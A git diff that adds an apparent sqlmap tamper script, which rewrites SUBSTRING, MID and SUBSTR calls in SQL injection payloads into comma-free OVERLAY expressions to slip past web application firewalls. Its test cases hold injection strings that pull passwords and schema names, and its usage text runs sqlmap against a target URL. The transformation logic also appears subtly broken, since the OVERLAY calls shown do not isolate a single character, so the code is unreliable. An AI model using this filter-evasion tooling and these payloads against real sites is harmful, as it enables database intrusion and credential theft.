diff --git a/tamper/overlay.py b/tamper/overlay.py new file mode 100644 index 0000000000..01931e997d --- /dev/null +++ b/tamper/overlay.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces SUBSTRING with OVERLAY function (without commas) + + Tested against: + * PostgreSQL + * MySQL (limited support) + + Notes: + * Replaces SUBSTRING(str, pos, len) with nested OVERLAY functions + * Works without comma characters in the query + * Useful for bypassing WAF filters that block commas + + >>> tamper('SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)') + 'OVERLAY(OVERLAY((SELECT password FROM users LIMIT 1) PLACING \\'\\' FROM 1 FOR 2) PLACING \\'\\' FROM 2)' + + >>> tamper('SUBSTRING(username FROM 1 FOR 1)') + 'OVERLAY(username PLACING \\'\\' FROM 2)' + + >>> tamper('SUBSTRING(password,5,1)') + 'OVERLAY(OVERLAY(password PLACING \\'\\' FROM 1 FOR 4) PLACING \\'\\' FROM 2)' + """ + + retVal = payload + + if payload: + # Pattern 1: SUBSTRING(string FROM position FOR length) + # PostgreSQL style + pattern1 = r'SUBSTRING\s*\(\s*(.+?)\s+FROM\s+(\d+)\s+FOR\s+(\d+)\s*\)' + + def replace_postgres_style(match): + string = match.group(1) + position = int(match.group(2)) + length = int(match.group(3)) + + # Only handle single character extraction (length = 1) + if length != 1: + return match.group(0) + + if position == 1: + # Special case: first character + return f"OVERLAY({string} PLACING '' FROM 2)" + else: + # General case: position > 1 + return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)" + + retVal = re.sub(pattern1, replace_postgres_style, retVal, flags=re.IGNORECASE) + + # Pattern 2: SUBSTRING(string, position, length) + # MySQL/Standard style with commas + pattern2 = r'SUBSTRING\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)' + + def replace_mysql_style(match): + string = match.group(1) + position = int(match.group(2)) + length = int(match.group(3)) + + # Only handle single character extraction (length = 1) + if length != 1: + return match.group(0) + + if position == 1: + return f"OVERLAY({string} PLACING '' FROM 2)" + else: + return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)" + + retVal = re.sub(pattern2, replace_mysql_style, retVal, flags=re.IGNORECASE) + + # Pattern 3: MID(string, position, length) - MySQL alternative + pattern3 = r'MID\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)' + retVal = re.sub(pattern3, replace_mysql_style, retVal, flags=re.IGNORECASE) + + # Pattern 4: SUBSTR(string, position, length) - Another alternative + pattern4 = r'SUBSTR\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)' + retVal = re.sub(pattern4, replace_mysql_style, retVal, flags=re.IGNORECASE) + + return retVal + + +# Test cases for validation +if __name__ == "__main__": + test_cases = [ + # PostgreSQL style + "SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)", + "SUBSTRING(username FROM 1 FOR 1)", + "SUBSTRING(database() FROM 5 FOR 1)", + + # MySQL style + "SUBSTRING(password,5,1)", + "SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)", + "MID(username,3,1)", + "SUBSTR(password,2,1)", + + # Complex queries + "AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>65", + "UNION SELECT SUBSTRING(table_name FROM 1 FOR 1) FROM information_schema.tables", + + # Edge cases + "SUBSTRING(col FROM 1 FOR 1)", + "SUBSTRING(col,1,1)", + ] + + print("=== SQLMAP TAMPER SCRIPT TEST ===\n") + + for i, test in enumerate(test_cases, 1): + result = tamper(test) + print(f"Test {i}:") + print(f" Original: {test}") + print(f" Tampered: {result}") + print() + + print("\n=== USAGE INSTRUCTIONS ===") + print(""" +1. Save this script as 'overlay.py' in SQLMap's tamper directory: + /path/to/sqlmap/tamper/overlay.py + +2. Run SQLMap with the tamper script: + python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay + +3. Combine with other tampers: + python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay,space2comment + +4. Use with specific DBMS: + python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay --dbms=postgresql + +5. Test the tamper: + python overlay.py + +Example transformation: + Before: SUBSTRING(password,3,1) + After: OVERLAY(OVERLAY(password PLACING '' FROM 1 FOR 2) PLACING '' FROM 2) + +Benefits: + ✓ No comma characters in the query + ✓ Bypasses WAF filters blocking SUBSTRING + ✓ Works with PostgreSQL OVERLAY function + ✓ Supports nested subqueries + """)